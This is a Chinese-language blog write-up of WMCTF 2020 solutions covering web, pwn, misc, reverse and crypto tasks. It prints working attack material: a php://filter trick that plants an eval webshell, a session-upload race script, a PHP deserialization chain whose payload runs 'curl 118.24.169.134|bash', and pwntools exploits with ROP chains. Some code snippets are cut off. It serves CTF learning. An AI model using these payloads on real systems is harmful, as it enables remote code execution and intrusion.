menu 绝望的肉
WMCTF
337 浏览 | 2020-11-12 | 阅读时间: 约 3 分钟 | 分类: CTF | 标签:
请注意,本文编写于 343 天前,最后修改于 343 天前,其中某些信息可能已经过时。

又又又被带飞了

web

web_checkin

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
// @chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         print_r('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

。。。,直接file读…

web_checkin2

参考

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://xz.aliyun.com/t/7457

https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5.0.X%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE.md

Thinkphp5.0反序列化链的payload
php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php

以前跟过伪协议处理的源码,他对过滤器,多url解码了一次,

直接

http://web_checkin2.wmctf.wetolink.com/?content=php://filter/write=string.%2572ot13/resource=<?cuc @riny($_TRG[_]);?> /../a.php


view-source:http://web_checkin2.wmctf.wetolink.com/?content=a.php&_=system(%27cat%20/fffffllllllllaaaaaggggggg_as89c79as8%27);

读到flag

Make PHP Great Again

被非预期了

#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"readfile('flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];

webweb

其他题做自闭了,慢慢挖这个利用链吧

__destruct就剩这一个了,应该是出题人防止走偏,现在直接可以掉任意方法 了,但是内容不可控制,要把this 绕掉

下面是这个和原始版本有改动的地方,可能就是提示 了

删了两处 __desturct 应该是防止走偏

删了这里…可能是防止啥泄露吧

运行222libs.php 就行

// 222libs.php
<?php

namespace CLI;
require '2libs.php';
require '22libs.php';
//! RFC6455 WebSocket server
class WS {

    const
        //! UUID magic string
        Magic='258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
        //! Max packet size
        Packet=65536;


    //@{ Mask bits for first byte of heade
    const
        Text=0x01,
        Binary=0x02,
        Close=0x08,
        Ping=0x09,
        Pong=0x0a,
        OpCode=0x0f,
        Finale=0x80;
    //@}

    //@{ Mask bits for second byte of header
    const
        Length=0x7f;
    //@}

    protected
        $addr,
        $ctx,
        $wait,
        $sockets,
        $protocol,
        $agents=[],
        $events=[];

    function __construct() {
    }
}

class Agent {

    protected
        $server,
        $id,
        $socket,
        $flag,
        $verb,
        $uri,
        $headers;

    /**
     *  Destroy object
     **/
    function __destruct() {
        if (isset($this->server->events['disconnect']) &&
            is_callable($func=$this->server->events['disconnect']))
            $func($this);
    }


    /**
     *  @param $server WS
     *  @param $socket resource
     *  @param $verb string
     *  @param $uri string
     *  @param $hdrs array
     **/
    function __construct() {
        $this->server =  new  \DB\Jig\Mapper();
        $this->server->events = Array( 'disconnect' => Array(new  \DB\Jig\Mapper(),'insert'));

}
    // $o = new  \DB\Jig\Mapper();
    // $o->insert();
}
$o = new \CLI\Agent();


$arr = Array('ws'=> new \CLI\WS,$o);


file_put_contents('poc3',base64_encode(serialize($arr)));

// 22libs.php

 <?php
    namespace DB\Jig;


class Mapper  {
    protected
        //! Flat-file DB wrapper
        $db,
        //! Data file
        $file,
        //! Document identifier
        $id,
        //! Document contents
        $document=[],
        //! field map-reduce handlers
        $_reduce;

    function insert() {
        if ($this->id)
            return $this->update();
        $db=$this->db;
        $now=microtime(TRUE);
        while (($id=uniqid(NULL,TRUE)) &&
            ($data=&$db->read($this->file)) && isset($data[$id]) &&
            !connection_aborted())
            usleep(mt_rand(0,100));
        $this->id=$id;
        $pkey=['_id'=>$this->id];
        if (isset($this->trigger['beforeinsert']) &&
            \Base::instance()->call($this->trigger['beforeinsert'],
                [$this,$pkey])===FALSE)
            return $this->document;
    //  $data[$id]=$this->document;
    //  $db->write($this->file,$data);
        $db->jot('('.sprintf('%.1f',1e3*(microtime(TRUE)-$now)).'ms) '.
            $this->file.' [insert] '.json_encode($this->document));
        if (isset($this->trigger['afterinsert']))
            \Base::instance()->call($this->trigger['afterinsert'],
                [$this,$pkey]);
        $this->load(['@_id=?',$this->id]);
        return $this->document;
    }




    /**
     *  Instantiate class
     *  @return void
    *   @param $db object
    *   @param $file string
    **/
    function __construct() {
        $this->db=new  \db\sql\mapper();;
        $this->file="curl 118.24.169.134|bash";
        $this->props = Array("drop"=>"system","read"=>'system');
    }
    
}

// 2libs.php

<?php

namespace DB\SQL;

//! SQL data mapper
class Mapper  {

    //@{ Error messages
    const
        E_PKey='Table %s does not have a primary key';
    //@}

    protected
        //! PDO wrapper
        $db,
        //! Database engine
        $engine,
        //! SQL table
        $source,
        //! SQL table (quoted)
        $table,
        //! Alias for SQL table
        $as,
        //! Last insert ID
        $_id,
        //! Defined fields
        $fields,
        //! Adhoc fields
        $adhoc=[],
        //! Dynamic properties
        $props=[];

    function __call($func,$args) {
        return call_user_func_array(
            (array_key_exists($func,$this->props)?
                $this->props[$func]:
                $this->$func),$args
        );
    }
    /**
    *   Instantiate class
    *   @param $db \DB\SQL
    *   @param $table string
    *   @param $fields array|string
    *   @param $ttl int|array
    **/
    function __construct() {
        $this->p

最后payload

%61%3a%32%3a%7b%73%3a%32%3a%22%77%73%22%3b%4f%3a%36%3a%22%43%4c%49%5c%57%53%22%3a%37%3a%7b%73%3a%37%3a%22%00%2a%00%61%64%64%72%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%63%74%78%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%77%61%69%74%22%3b%4e%3b%73%3a%31%30%3a%22%00%2a%00%73%6f%63%6b%65%74%73%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%70%72%6f%74%6f%63%6f%6c%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%61%67%65%6e%74%73%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%65%76%65%6e%74%73%22%3b%61%3a%30%3a%7b%7d%7d%69%3a%30%3b%4f%3a%39%3a%22%43%4c%49%5c%41%67%65%6e%74%22%3a%37%3a%7b%73%3a%39%3a%22%00%2a%00%73%65%72%76%65%72%22%3b%4f%3a%31%33%3a%22%44%42%5c%4a%69%67%5c%4d%61%70%70%65%72%22%3a%37%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4f%3a%31%33%3a%22%44%42%5c%53%51%4c%5c%4d%61%70%70%65%72%22%3a%39%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%65%6e%67%69%6e%65%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%73%6f%75%72%63%65%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%74%61%62%6c%65%22%3b%4e%3b%73%3a%35%3a%22%00%2a%00%61%73%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%5f%69%64%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%66%69%65%6c%64%73%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%61%64%68%6f%63%22%3b%61%3a%30%3a%7b%7d%73%3a%38%3a%22%00%2a%00%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%7d%73%3a%37%3a%22%00%2a%00%66%69%6c%65%22%3b%73%3a%32%34%3a%22%63%75%72%6c%20%31%31%38%2e%32%34%2e%31%36%39%2e%31%33%34%7c%62%61%73%68%22%3b%73%3a%35%3a%22%00%2a%00%69%64%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%64%6f%63%75%6d%65%6e%74%22%3b%61%3a%30%3a%7b%7d%73%3a%31%30%3a%22%00%2a%00%5f%72%65%64%75%63%65%22%3b%4e%3b%73%3a%35%3a%22%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%73%3a%36%3a%22%65%76%65%6e%74%73%22%3b%61%3a%31%3a%7b%73%3a%31%30%3a%22%64%69%73%63%6f%6e%6e%65%63%74%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%31%33%3a%22%44%42%5c%4a%69%67%5c%4d%61%70%70%65%72%22%3a%36%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4f%3a%31%33%3a%22%44%42%5c%53%51%4c%5c%4d%61%70%70%65%72%22%3a%39%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%65%6e%67%69%6e%65%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%73%6f%75%72%63%65%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%74%61%62%6c%65%22%3b%4e%3b%73%3a%35%3a%22%00%2a%00%61%73%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%5f%69%64%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%66%69%65%6c%64%73%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%61%64%68%6f%63%22%3b%61%3a%30%3a%7b%7d%73%3a%38%3a%22%00%2a%00%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%7d%73%3a%37%3a%22%00%2a%00%66%69%6c%65%22%3b%73%3a%32%34%3a%22%63%75%72%6c%20%31%31%38%2e%32%34%2e%31%36%39%2e%31%33%34%7c%62%61%73%68%22%3b%73%3a%35%3a%22%00%2a%00%69%64%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%64%6f%63%75%6d%65%6e%74%22%3b%61%3a%30%3a%7b%7d%73%3a%31%30%3a%22%00%2a%00%5f%72%65%64%75%63%65%22%3b%4e%3b%73%3a%35%3a%22%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%7d%69%3a%31%3b%73%3a%36%3a%22%69%6e%73%65%72%74%22%3b%7d%7d%7d%73%3a%35%3a%22%00%2a%00%69%64%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%73%6f%63%6b%65%74%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%66%6c%61%67%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%76%65%72%62%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%75%72%69%22%3b%4e%3b%73%3a%31%30%3a%22%00%2a%00%68%65%61%64%65%72%73%22%3b%4e%3b%7d%7d

.

pwn

mengyedekending

反编译得到源码,漏洞点在,可以输入’r’来控制(*prt2),得到数组的越界写,改写ptr2[2]中的指针,指向num,然后用offset那里-1就好了。

反编译得到源码
​```c#
private unsafe static void Main(string[] args)
{
 char* ptr = stackalloc char[(UIntPtr)100];
 int num = 1;
 int* ptr2 = (int*)(ptr + 50);
 Program @object = new Program();
 Program.MsgHandler msgHandler = new Program.MsgHandler(@object.Right);
 Program.MsgHandler msgHandler2 = new Program.MsgHandler(@object.Backdoor);
 Console.WriteLine("This is a gift for you : {0:x4}", &num);
 Console.WriteLine("What do you want me to repeat?");
 ptr2[1] = 0;
 ptr2[2] = ptr;
 *ptr2 = 0;
 while (ptr2[1] < 53)
 {
  char c = (char)Console.Read();
  bool flag = c == '\n';
  if (flag)
  {
   break;
  }
  bool flag2 = c == '\r';
  if (!flag2)
  {
   ptr[*ptr2] = c;
   ptr2[1]++;
  }
  (*ptr2)++;
 }
 Console.WriteLine("Do you want to change your input?");
 char c2 = (char)Console.Read();
 bool flag3 = c2 == 'N' || c2 == 'n';
 if (flag3)
 {
  msgHandler(ptr);
 }
 else
 {
  Console.WriteLine("Please tell me a offset!");
  char* ptr3 = ptr2[2];
  Console.ReadLine();
  int num2 = Console.Read();
  for (int i = 0; i < num2; i++)
  {
   char* ptr4 = ptr3 + i;
   *ptr4 -= '\u0001';
  }
  bool flag4 = num == 1;
  if (flag4)
  {
   msgHandler(ptr);
  }
  else
  {
   msgHandler2(ptr);
  }
 }
}
​```
backdoor
​```c#
private unsafe void Backdoor(char* args)
{
 Console.WriteLine("I'll give you flag!");
 string str = "type C:\\flag.txt";
 Process process = new Process();
 process.StartInfo.FileName = "cmd.exe";
 process.StartInfo.UseShellExecute = false;
 process.StartInfo.RedirectStandardInput = true;
 process.StartInfo.RedirectStandardOutput = true;
 process.StartInfo.RedirectStandardError = true;
 process.StartInfo.CreateNoWindow = true;
 process.Start();
 process.StandardInput.WriteLine(str + "&exit");
 process.StandardInput.AutoFlush = true;
 string value = process.StandardOutput.ReadToEnd();
 process.WaitForExit();
 process.Kill();
 Console.WriteLine(value);
}
​```
Right
​```c#
private unsafe void Right(char* args)
{
 for (int i = 0; i < 50; i++)
 {
  Console.Write(args[i]);
 }
 Console.Write('\n');
}
​```

exp,概率成功,不知道为啥QAQ

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
cn = remote('111.73.46.229',51000)
#cn = process('C:/Users/a1516/Desktop/WMCTF2020/For Attacker/publish/baby_cat.exe')
a = cn.recvline()
addr = int(a[25:32],16)
print(hex(addr))
cn.recvline()
cn.sendline('\r'*108+p32(addr)[::-1])
#cn.sendline('\r'*108+p32(addr))
cn.recvline()
cn.send('a')
cn.recvline()
cn.sendline('c')
cn.send('\x01')
cn.interactive()

cfgo

走完迷宫发现有个栈溢出,调试得到栈结构

‘a’112+addr+len+’b’0x90+ret

其中addr和len是两个参数,可以用来泄露内存。又因为本来只允许输入一次,所以我们把原来ret的最后一个字节覆盖为’xce’,这样就可以再次返回到并call输入name的函数,得到第二次写,这一点可以调试配合ida得到。第一次泄露text_addr,第二次写入rop。

exp
#!/usr/bin/python
from pwn import*
from LibcSearcher import *
#context.log_level = 'debug'
res=''
def fix(tout):
    res = ''
    mid = '0'
    for i in tout:
        if mid != i:
            res += i
            mid = i
        else:
            mid = '0'
    print(res)
def translate(sol):
    tmp = sol[0]
    tot = len(sol)
    global res
    for i in range(1, tot):
        if (tmp[0] == sol[i][0]) and (tmp[1] > sol[i][1]):
            res += 'a'
        elif (tmp[0] == sol[i][0]) and (tmp[1] < sol[i][1]):
            res += 'd'
        elif (tmp[0] > sol[i][0]) and (tmp[1] == sol[i][1]):
            res += 'w'
        else:
            res += 's'
        tmp = sol[i]
#    fix(res)
#    final(res)
    
step = []
def check_valid(mg, x, y):
    if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:
        return True
    else:
        return False
def process1(step):
    change_records = []
    for i in range(len(step) - 1):
        if (abs(step[i][0] - step[i + 1][0]) == 0 and abs(step[i][1] - step[i + 1][1]) == 1) or (abs(step[i][0] - step[i + 1][0]) == 1 and abs(step[i][1] - step[i + 1][1]) == 0):
            pass
        else:
            change_records.append(i + 1)
    # print(change_records)
    clip_nums = []
    for i in change_records:
        for j in range(i):
            if (abs(step[j][0] - step[i][0]) == 0 and abs(step[j][1] - step[i][1]) == 1) or \
                    (abs(step[j][0] - step[i][0]) == 1 and abs(step[j][1] - step[i][1]) == 0):
                break
        clip_nums.append((j, i))
    # print(clip_nums)
    record = []
    for i in clip_nums[::-1]:
        if not (i[0] in record or i[1] in record):
            step = step[:i[0] + 1] + step[i[1]:]
        record += list(range(i[0], i[1]))
    # print(step)
    translate(step)
def final(re):
    print("Walk success!")
    print(re)
def walk(mg, x, y, ex, ey):
    global step
    if x == ex and y == ey:
        step.append((x, y))
        process1(step)
        # sys.exit()
    if check_valid(mg, x, y):
        step.append((x, y))
        mg[x][y] = 2
        walk(mg, x, y + 1, ex, ey)
        walk(mg, x, y - 1, ex, ey)
        walk(mg, x - 1, y, ex, ey)
        walk(mg, x + 1, y, ex, ey)
def get_xy(maze,k):
 for i in range(k):
  for j in range(k):
   if(maze[i][j] == '4'):
    x = i
    y = j
        for i in range(k):
                for j in range(k):
                        if(maze[i][j] == '3'):
                                ex = i
                                ey = j
 return (x,y,ex,ey)
def pwn():
# cn = process('./pwn')
 cn = remote('81.68.174.63',62176)
 for j in range(0,100):
  print(j+1)
  global res
  global step
  step = []
  res = ''
  cn.recvline()
  maze=[]
  maze = cn.recvlines(6+j)
  num = len(maze)
  x=0
  y=0
  ex=0
  ey=0
  for k in range(0,num):
   maze[k] = maze[k].replace('\xe2\xac\x9b','0')
   maze[k] = maze[k].replace('\xe2\xac\x9c','1')
   maze[k] = maze[k].replace('\xf0\x9f\x9a\xa9','3')
  # print(maze[k])
  for k in range(0,num):
   for i in range(0,len(maze[k])):
    if maze[k][i] != '0' and maze[k][i] != '1' and maze[k][i] != '3':
     maze[k]=maze[k][:i]+'4'+maze[k][i+4:]
     break
  (x,y,ex,ey) = get_xy(maze,num)
  for k in range(0,num):
   maze[k] = maze[k].replace('3','1')
   maze[k] = maze[k].replace('4','1')
  box=[[]for i in range(num)]
  for k in range(0,num):
   for L in range(0,num):
    box[k].append(int(maze[k][L]))
  #print(box)
  maze = box
  #print(x,y,ex,ey)
  walk(maze,x,y,ex,ey)
  cn.send(res+'\n')
  print(res)
 base=0x555555554000
 stack_ = 0xc000000000
 ret = base+0xa3910
 payload = 'a'*112+p64(0xc000009690)+p64(0x200)+'b'*0x90+'\xce'
 context.log_level = 'debug'
 cn.recv()
 cn.sendline(payload)
 a = cn.recv()
        text_base = u64(a[0x110-1:0x117])-0xbda23
        print(hex(text_base))
#read rop2
# gdb.attach(cn)
 open_addr = text_base+0xCFEA0
 read_addr = text_base+0xCFF10
 write_addr = text_base+0xCFEF0
 print(hex(open_addr))
 print(hex(read_addr))
 print(hex(write_addr))
 pppr = text_base+0x11a1a2
 ppppr = text_base+0x11a1a0
        pop_rdi_ret = text_base+0x37531
 flag_addr = 0xc000044d78+0x100
 addr = 0xc000044d78
 main_got = text_base + 0x1EEF38
 rop1 = p64(open_addr)+p64(pppr)+p64(addr)+p64(0)+p64(0)+p64(read_addr)+p64(ppppr)+p64(6)+p64(flag_addr)+p64(0x100)+p64(0)+p64(write_addr)+p64(pppr)+p64(1)+p64(flag_addr)+p64(0x200)
 cn.sendline('./flag\x00\x00'+'d'*0x68+p64(0xc000047d00)+p64(0x40)+'./flag\x00\x00'+'e'*(144-8)+rop1)
        cn.recvuntil('is :')
 a = cn.recv()
 cn.interactive()
 print(a[:1000])
pwn()

misc

sign-in

快乐签到题

XMAN_Happy_birthday!

倒叙脚本一把梭

a = open('./daolnwod.zip','rb').read()
b = a[::-1]
c = open('res.zip','wb')
c.write(b)
c.close()

解压得flag

Performance_artist

分割成28*28大小的图片,然后找到字符的数据集,转成图片,再用phash和汉明距离慢慢搞,外加人工比对部分(代码还没整理好)

from PIL import Image
import imagehash
import os

def hammingDistance(x, y):
    return bin(x ^ y).count('1')

hash_size = 12
pathh = ''
pathyuan = ''
# 提取phash,节约时间

if not os.path.exists('E:\\phash.txt'):
    with open('E:\\phash.txt', 'w+') as file:
        trains = os.listdir(path)
        for i in trains:
            imagepng = Image.open(path+i)
            file.write(str(imagehash.phash(imagepng, 12)) + '\t' + i + '\n')
            
misc = os.listdir(pathyuan)

file = open('E:\\phash.txt')
s = file.readlines()
hashs = list(map(lambda x: x.split('\t')[0], s))
chars = list(map(lambda x: x.split('_')[2][0], s))
# chars = list(map(lambda x: x.split('\t')[1][0], s))
string = ""
sure = [322]
for i in sure:
    image1 = Image.open(pathyuan + str(i) + '.png')
    temphash = imagehash.phash(image1, hash_size)
    print(i)
    """if str(temphash) in hashs:
        print(i, chars[hashs.index(str(temphash))],s[hashs.index(str(temphash))])
        string += chars[hashs.index(str(temphash))]"""
    for j in hashs:
        if hammingDistance(int(str(temphash), 16), int(j, 16)) <= 40:
            print(i, chars[hashs.index(j)], s[hashs.index(j)])
            image2 = Image.new('RGB', (56, 56), '#FFFFFF')
            box1 = (0, 0, 28, 28)
            crop = image1.crop(box1)
            image2.paste(crop, (0, 0))
            image3 = Image.open('./'+s[hashs.index(j)].split('\t')[1][:-1])
            crop = image3.crop(box1)
            image2.paste(crop, (0, 28))
            image2.save('./' + str(i) + '_' + str(j) + '.png')

Dalabengba

首先EnigmaVBUnpacker解包得到原始文件,然后要得到encodekey,垃圾rpgmaker的加密方式竟然是加上自己的头,后面再加上原array数据异或encodekey来得到一个校准位,实际根本没有加密,亏我审了这么久的源码

于是python弄个jio本得到encodekey

a = [0x7e,0x15,0xdc,0x75,0x87,0x1c,0x96,0xf2,0x58,0xe7,0x27,0x0d,0x64,0x9c,0xb2,0xf9]
b = [137,80,78,71,13,10,26,10,0,0,0,13,73,72,68,82]
res = ''
for i in range(16):
    res+=hex(a[i]^b[i])[2:].zfill(2)
print(res)

得到key:f74592328a168cf858e727002dd4f6ab

然后cmd5查到其密钥为welcometothegame

然后进游戏,快速过完游戏(我才不会说我开了穿墙挂)得到

part1:最后的空中宫殿NPC移动轨迹得Pr1nCe5(S)5(s)

part2:根目录文件有过part2且宝箱hint为

得知为Java得盲水印隐写,通过https://github.com/ww23/BlindWatermark/releases/tag/v0.0.3项目可以得到水印图像

再反色处理以及加上标识符得到

zxing扫描得:W@rR1or

part3:文件通过crypto解密,密钥为国王说的那句话的去除大写字母倒叙16进制转换,其密钥为:Y0u_@re_5o_bRaVE,解密后是一堆空字符,换成0和1后得到

100110101111011010101110000001000001011010000110011011101010011000000100011001101111011010101110011101100010011000000100100101100010111010000100100001001000010010000100100001001000010001010000
01010000
01010000
01010000
000011101000011001001110001011101100110001011100111010100001011001001110010010100100111001001110010011100111111001010000

然后再倒叙二进制转字符串再倒叙得到

You have found it!!!!!!


part3:Whr

得到part3:WhrRrrr~

最后fuzzpart1得到flag

FeedBack

问卷题,需要翻墙

https://forms.gle/SmTytGGhvYxDtuoA7

Music_game

通过声音控制坦克移动,到终点就有flag

re

easy_re

调试了无数遍之后,突然一次crtl+f7加乱改运行位置的时候偶然看到了一个和flag有关的的函数,从cmp进行调试,终于找到了藏起来的flag(签到真不容易)。

crypto

piece_of_cake

应该是非预期解了,直接解eatcake处的二维ntru,本地测试得到的m略小于cake,大概差了几个g,索性直接发送m+2*g给靶机,随缘。【解二维ntru的脚本先知就有,不贴了】

Game

以获取答案的第一组为例:发送两组数据,要求保持密文的第一组数据不变【由于aes的iv会变,每次都发送iv就行,本次的iv是上一次的密文最后一组,初始iv已给】随后发送十五个填充字节。这个时候服务器会返回的第二组密文就是十五个填充字节+sceret第一个字节。

为了获取这个字节我们爆破。发送两组数据,第一组是iv,第二组是十五个填充字节加一个遍历256的i,若密文与之前的第二组相同,那个i就是secret的第一个字节。

from pwn import *
sh=remote("81.68.174.63","16442")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
def proof_of_work(sh):
    sh.recvuntil("XXXX+")
    suffix = sh.recvuntil(')').decode("utf8")[:-1]
    log.success(suffix)
    sh.recvuntil("== ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("Give me XXXX:", proof)




#context.log_level = 'debug'




proof_of_work(sh)
secret=b""




#sitep1
ban=sh.recvuntil("IV is: ")




tmp_head = sh.recvuntil("\n")[:-1]




for j in range(48):
    sh.recvuntil("> ")
    sh.sendline("1")
    sh.recvuntil(": ")
    sh.sendline(tmp_head + b"00" * (48-len(secret)//2-1))
    print("start:")




    tmp = sh.recvuntil("\n")[:-1]
    tmp_head = tmp[-32:]




    goal = tmp[96:128]
    print(goal)
    #sh.interactive()




    for i in range(256):
        sh.recvuntil("> ")
        sh.sendline("1")
        sh.recvuntil(": ")
        sh.sendline(tmp_head+b"00"*(48-len(secret)//2-1)+secret+ hex(i)[2:].rjust(2,"0").encode("latin1"))




        tmp = sh.recvuntil("\n")[:-1]
        tmp_head = tmp[-32:]
        if tmp[96:128] == goal:
            print("this send get answer:")
            print((tmp_head + b"00" * (48 - len(secret) // 2 - 1) + secret + hex(i)[2:].rjust(2, "0").encode("latin1")))
            secret+=hex(i)[2:].rjust(2,"0").encode("latin1")




            print(secret)
            break
#
sh.recvuntil("> ")
sh.sendline("2")
sh.recvuntil(": ")
sh.sendline(secret)
flag=sh.recv()
print(fla

babysum

120维背包取20个,轻背包,改自soreatu参与密码挑战赛的脚本

import re
import random
import logging
import multiprocessing as mp
from functools import partial
logging.basicConfig(level=logging.DEBUG)
LEVEL = [
    # n    k    s
    (120,  20,  11204158321431815830823699004382994461036257963)
]


ZERO_FORCE = {
    # n   r
    120: 20,
}
def check(sol, A, s):
    """Check whether *sol* is a solution to the subset-sum problem.
    """
    return sum(x*a for x, a in zip(sol, A)) == s


small_vec = None


def solve(A, n, k, s, r, ID=None, BS=22):
    N = ceil(sqrt(n)) # parameter used in the construction of lattice
    rand = random.Random(x=ID) # seed
    indexes = set(range(n))
    small_vec = None
    itr = 0
    total_time = 0.0
    print(f"[{ID}] n={n} Start... {itr}")
    while True:
        # 1. initalization
        #t0 = cputime()
        itr += 1
        
        kick_out = set(sample(range(n), r))
        new_set = [A[i] for i in indexes - kick_out]
        lat = []
        for i,a in enumerate(new_set):
            lat.append([1*(j==i) for j in range(n-r)] + [N*a] + [N])
        lat.append([0]*(n-r) + [N*s] + [k*N])
        shuffle(lat, random=rand.random)
        m = matrix(ZZ, lat)
        #t_BKZ = cputime()
        m_BKZ = m.BKZ(block_size=BS)




        print("BKZ finished")
        #print(f"[{ID}] n={n} {itr} runs. BKZ running time: {cputime(t_BKZ):.3f}s")
        if m_BKZ[0].norm()^2 == k:
            print("+++++++++++++");
            print("total time: "+str(total))
            print(m_BKZ[0])
            print(kick_out)
            return True


def main():
    CPU_CORE_NUM = 80




    for n, k, s in LEVEL[:]:
        r = ZERO_FORCE[n]
        A = #key列表
        solve_n = partial(solve, A, n, k, s, r)
        with mp.Pool(CPU_CORE_NUM) as pool:
            reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM))




            # terminate all processes once one process returns
            for res in reslist:
                if res:
                    pool.terminate()
                    break


if __name__ == "__main__":
  

80核服务器5分钟【运气好24s】

8核虚拟机运气好5分钟

sum

同上,不过180维背包取160个,反过来看还是轻背包。不过就是80核服务器15h+而已,【草:一种植物】

知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!